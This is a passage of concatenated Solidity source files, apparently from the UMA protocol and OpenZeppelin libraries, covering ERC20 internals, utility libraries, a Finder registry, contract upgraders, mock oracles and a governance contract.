require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes burn and mint methods.
*/
abstract contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint256 value) external virtual;
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
*/
function mint(address to, uint256 value) external virtual returns (bool);
function addMinter(address account) external virtual;
function addBurner(address account) external virtual;
function resetOwner(address account) external virtual;
}
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../math/Math.sol";
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
pragma solidity ^0.6.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract that executes a short series of upgrade calls that must be performed atomically as a part of the
* upgrade process for Voting.sol.
* @dev Note: the complete upgrade process requires more than just the transactions in this contract. These are only
* the ones that need to be performed atomically.
*/
contract VotingUpgrader {
// Existing governor is the only one who can initiate the upgrade.
address public governor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public newVoting;
// Address to call setMigrated on the old voting contract.
address public setMigratedAddress;
/**
* @notice Removes an address from the whitelist.
* @param _governor the Governor contract address.
* @param _existingVoting the current/existing Voting contract address.
* @param _newVoting the new Voting deployment address.
* @param _finder the Finder contract address.
* @param _setMigratedAddress the address to set migrated. This address will be able to continue making calls to
* old voting contract (used to claim rewards on others' behalf). Note: this address
* can always be changed by the voters.
*/
constructor(
address _governor,
address _existingVoting,
address _newVoting,
address _finder,
address _setMigratedAddress
) public {
governor = _governor;
existingVoting = Voting(_existingVoting);
newVoting = _newVoting;
finder = Finder(_finder);
setMigratedAddress = _setMigratedAddress;
}
/**
* @notice Performs the atomic portion of the upgrade process.
* @dev This method updates the Voting address in the finder, sets the old voting contract to migrated state, and
* returns ownership of the existing Voting contract and Finder back to the Governor.
*/
function upgrade() external {
require(msg.sender == governor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting);
// Set the preset "migrated" address to allow this address to claim rewards on voters' behalf.
// This also effectively shuts down the existing voting contract so new votes cannot be triggered.
existingVoting.setMigrated(setMigratedAddress);
// Transfer back ownership of old voting contract and the finder to the governor.
existingVoting.transferOwnership(governor);
finder.transferOwnership(governor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/FinderInterface.sol";
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces.
*/
contract Finder is FinderInterface, Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 of the interface name that is either changed or registered.
* @param implementationAddress address of the implementation contract.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
override
onlyOwner
{
interfacesImplemented[interfaceName] = implementationAddress;
emit InterfaceImplementationChanged(interfaceName, implementationAddress);
}
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the defined interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view override returns (address) {
address implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "Implementation not found");
return implementationAddress;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract Umip3Upgrader {
// Existing governor is the only one who can initiate the upgrade.
address public existingGovernor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
address public newGovernor;
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public voting;
address public identifierWhitelist;
address public store;
address public financialContractsAdmin;
address public registry;
constructor(
address _existingGovernor,
address _existingVoting,
address _finder,
address _voting,
address _identifierWhitelist,
address _store,
address _financialContractsAdmin,
address _registry,
address _newGovernor
) public {
existingGovernor = _existingGovernor;
existingVoting = Voting(_existingVoting);
finder = Finder(_finder);
voting = _voting;
identifierWhitelist = _identifierWhitelist;
store = _store;
financialContractsAdmin = _financialContractsAdmin;
registry = _registry;
newGovernor = _newGovernor;
}
function upgrade() external {
require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, voting);
finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist);
finder.changeImplementationAddress(OracleInterfaces.Store, store);
finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin);
finder.changeImplementationAddress(OracleInterfaces.Registry, registry);
// Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated.
finder.transferOwnership(newGovernor);
// Inform the existing Voting contract of the address of the new Voting contract and transfer its
// ownership to the new governor to allow for any future changes to the migrated contract.
existingVoting.setMigrated(voting);
existingVoting.transferOwnership(newGovernor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracleAncillary is OracleAncillaryInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => mapping(bytes => Price))) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => mapping(bytes => QueryIndex))) private queryIndices;
QueryPoint[] private requestedPrices;
event PriceRequestAdded(address indexed requester, bytes32 indexed identifier, uint256 time, bytes ancillaryData);
event PushedPrice(
address indexed pusher,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
int256 price
);
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
if (!lookup.isAvailable && !queryIndices[identifier][time][ancillaryData].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time][ancillaryData] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time, ancillaryData));
emit PriceRequestAdded(msg.sender, identifier, time, ancillaryData);
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
int256 price
) external {
verifiedPrices[identifier][time][ancillaryData] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time][ancillaryData];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time][ancillaryData];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time][queryToCopy.ancillaryData].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
emit PushedPrice(msg.sender, identifier, time, ancillaryData, price);
}
// Checks whether a price has been resolved.
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracle is OracleInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices;
QueryPoint[] private requestedPrices;
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(bytes32 identifier, uint256 time) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time));
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
int256 price
) external {
verifiedPrices[identifier][time] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
}
// Checks whether a price has been resolved.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OracleInterface.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title Takes proposals for certain governance actions and allows UMA token holders to vote on them.
*/
contract Governor is MultiRole, Testable {
using SafeMath for uint256;
using Address for address;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the proposer.
Proposer // Address that can make proposals.
}
struct Transaction {
address to;
uint256 value;
bytes data;
}
struct Proposal {
Transaction[] transactions;
uint256 requestTime;
}
FinderInterface private finder;
Proposal[] public proposals;
/****************************************
* EVENTS *
****************************************/
// Emitted when a new proposal is created.
event NewProposal(uint256 indexed id, Transaction[] transactions);
// Emitted when an existing proposal is executed.
event ProposalExecuted(uint256 indexed id, uint256 transactionIndex);
/**
* @notice Construct the Governor contract.
* @param _finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param _startingId the initial proposal id that the contract will begin incrementing from.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _finderAddress,
uint256 _startingId,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender);
// Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite
// other storage slots in the contract.
uint256 maxStartingId = 10**18;
require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18");
// This just sets the initial length of the array to the startingId since modifying length directly has been
// disallowed in solidity 0.6.
assembly {
sstore(proposals_slot, _startingId)
}
}
/****************************************
* PROPOSAL ACTIONS *
****************************************/
/**
* @notice Proposes a new governance action. Can only be called by the holder of the Proposer role.
* @param transactions list of transactions that are being proposed.
* @dev You can create the data portion of each transaction by doing the following:
* ```
* const truffleContractInstance = await TruffleContract.deployed()
* const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI()
* ```
* Note: this method must be public because of a solidity limitation that
* disallows structs arrays to be passed to external functions.
*/
function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) {
uint256 id = proposals.length;
uint256 time = getCurrentTime();
// Note: doing all of this array manipulation manually is necessary because directly setting an array of
// structs in storage to an an array of structs in memory is currently not implemented in solidity :/.
// Add a zero-initialized element to the proposals array.
proposals.push();
// Initialize the new proposal.
Proposal storage proposal = proposals[id];
proposal.requestTime = time;
// Initialize the transaction array.
for (uint256 i = 0; i < transactions.length; i++) {
require(transactions[i].to != address(0), "The `to` address cannot be 0x0");
// If the transaction has any data with it the recipient must be a contract, not an EOA.
if (transactions[i].data.length > 0) {
require(transactions[i].to.isContract(), "EOA can't accept tx with data");
}
proposal.transactions.push(transactions[i]);
}
bytes32 identifier = _constructIdentifier(id);
// Request a vote on this proposal in the DVM.
OracleInterface oracle = _getOracle();
IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist();
supportedIdentifiers.addSupportedIdentifier(identifier);
oracle.requestPrice(identifier, time);
supportedIdentifiers.removeSupportedIdentifier(identifier);
emit NewProposal(id, transactions);
}
/**
* @notice Executes a proposed governance action that has been approved by voters.
* @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions.
* @param id unique id for the executed proposal.
* @param transactionIndex unique transaction index for the executed proposal.
*/
function executeProposal(uint256 id, uint256 transactionIndex) external payable {
Proposal storage proposal = proposals[id];
int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime);
Transaction memory transaction = proposal.transactions[transactionIndex];
require(
transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0),
"Previous tx not yet executed"
);
require(transaction.to != address(0), "Tx already executed");
require(price != 0, "Proposal was rejected");
require(msg.value == transaction.value, "Must send exact amount of ETH");
// Delete the transaction before execution to avoid any potential re-entrancy issues.
delete proposal.transactions[transactionIndex];
require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed");
emit ProposalExecuted(id, transactionIndex);
}
/****************************************
* GOVERNOR STATE GETTERS *
****************************************/
/**
* @notice Gets the total number of proposals (includes executed and non-executed).
* @return uint256 representing the current number of proposals.
*/
function numProposals() external view returns (uint256) {
return proposals.length;
}
/**
* @notice Gets the proposal data for a particular id.
* @dev after a proposal is executed, its data will be zeroed out, except for the request time.
* @param id uniquely identify the identity of the proposal.
* @return proposal struct containing transactions[] and requestTime.
*/
function getProposal(uint256 id) external view returns (Proposal memory) {
return proposals[id];
}
/****************************************
* PRIVATE GETTERS AND FUNCTIONS *
****************************************/
function _executeCall(
address to,
uint256 value,
bytes memory data
) private returns (bool) {
// Mostly copied from:
// solhint-disable-next-line max-line-length
// https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31
// solhint-disable-next-line no-inline-assembly
bool success;
assembly {
let inputData := add(data, 0x20)
let inputDataSize := mload(data)
success := call(gas(), to, value, inputData, inputDataSize, 0, 0)
}
return success;
}
function _getOracle() private view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Returns a UTF-8 identifier representing a particular admin proposal.
// The identifier is of the form "Admin n", where n is the proposal id provided.
function _constructIdentifier(uint256 id) internal pure returns (bytes32) {
bytes32 bytesId = _uintToUtf8(id);
return _addPrefix(bytesId, "Admin ", 6);
}
// This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type.
// If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits.
// This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801.
function _uintToUtf8(uint256 v) internal pure returns (bytes32) {
bytes32 ret;
if (v == 0) {
// Handle 0 case explicitly.
ret = "0";
} else {
// Constants.
uint256 bitsPerByte = 8;
uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10.
uint256 utf8NumberOffset = 48;
while (v > 0) {
// Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which
// translates to the beginning of the UTF-8 representation.
ret = ret >> bitsPerByte;
// Separate the last digit that remains in v by modding by the base of desired output representation.
uint256 leastSignificantDigit = v % base;
// Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character.
bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset);
// The top byte of ret has already been cleared to make room for the new digit.
// Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched.
ret |= utf8Digit << (31 * bitsPerByte);
// Divide v by the base to remove the digit that was just added.
v /= base;
}
}
return ret;
}
// This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other.
// `input` is the UTF-8 that should have the prefix prepended.
// `prefix` is the UTF-8 that should be prepended onto input.
// `prefixLength` is number of UTF-8 characters represented by `prefix`.
// Notes:
// 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented
// by the bytes32 output.
// 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result.
function _addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) internal pure returns (bytes32) {
// Downshift `input` to open space at the "front" of the bytes32
bytes32 shiftedInput = input >> (prefixLength * 8);
return shiftedInput | prefix;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Governor.sol";
// GovernorTest exposes internal methods in the Governor for testing.
contract GovernorTest is Governor {
constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {}
function addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) external pure returns (bytes32) {
